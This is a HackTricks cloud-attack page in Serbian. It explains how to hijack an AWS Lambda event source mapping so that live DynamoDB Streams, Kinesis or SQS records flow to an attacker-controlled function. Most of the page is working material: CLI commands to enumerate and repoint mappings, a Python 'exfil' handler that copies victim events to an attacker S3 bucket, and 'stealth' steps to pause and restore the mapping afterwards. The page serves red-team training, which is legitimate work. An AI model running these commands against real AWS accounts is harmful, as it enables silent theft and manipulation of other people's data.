AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Iskoristite UpdateEventSourceMapping da promenite ciljnu Lambda funkciju postojeće Event Source Mapping (ESM) tako da zapisi iz DynamoDB Streams, Kinesis, ili SQS budu isporučeni funkciji pod kontrolom napadača. Ovo tiho preusmerava žive podatke bez diranja producenata ili originalnog koda funkcije.

Uticaj

  • Preusmeravanje i čitanje živih zapisa iz postojećih streams/queues bez izmene producer aplikacija ili koda žrtve.
  • Moguća eksfiltracija podataka ili manipulacija logikom kroz procesiranje saobraćaja žrtve u zlonamernoj funkciji.

Potrebne dozvole

  • lambda:ListEventSourceMappings
  • lambda:GetEventSourceMapping
  • lambda:UpdateEventSourceMapping
  • Mogućnost deploy-ovanja ili referenciranja Lambda funkcije pod kontrolom napadača (lambda:CreateFunction ili dozvola za korišćenje postojeće).

Koraci

  1. Enumeriši event source mappings za funkciju žrtve
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
  1. Pripremite Lambda funkciju koju kontroliše napadač (ista regija; idealno sličan VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
  1. Preusmerite mapping na attacker funkciju
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
  1. Generišite događaj na izvoru tako da se mapiranje pokrene (na primer: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
  1. Potvrdite da attacker funkcija prima batch
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
  1. Neobavezno stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

Napomene:

  • Za SQS ESMs, uloga izvršenja Lambda funkcije koja obrađuje red mora imati sqs:ReceiveMessage, sqs:DeleteMessage i sqs:GetQueueAttributes (managed policy: AWSLambdaSQSQueueExecutionRole).
  • ESM UUID ostaje isti; promenjen je samo njegov FunctionArn, tako da proizvođači i source ARNs ostaju netaknuti.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks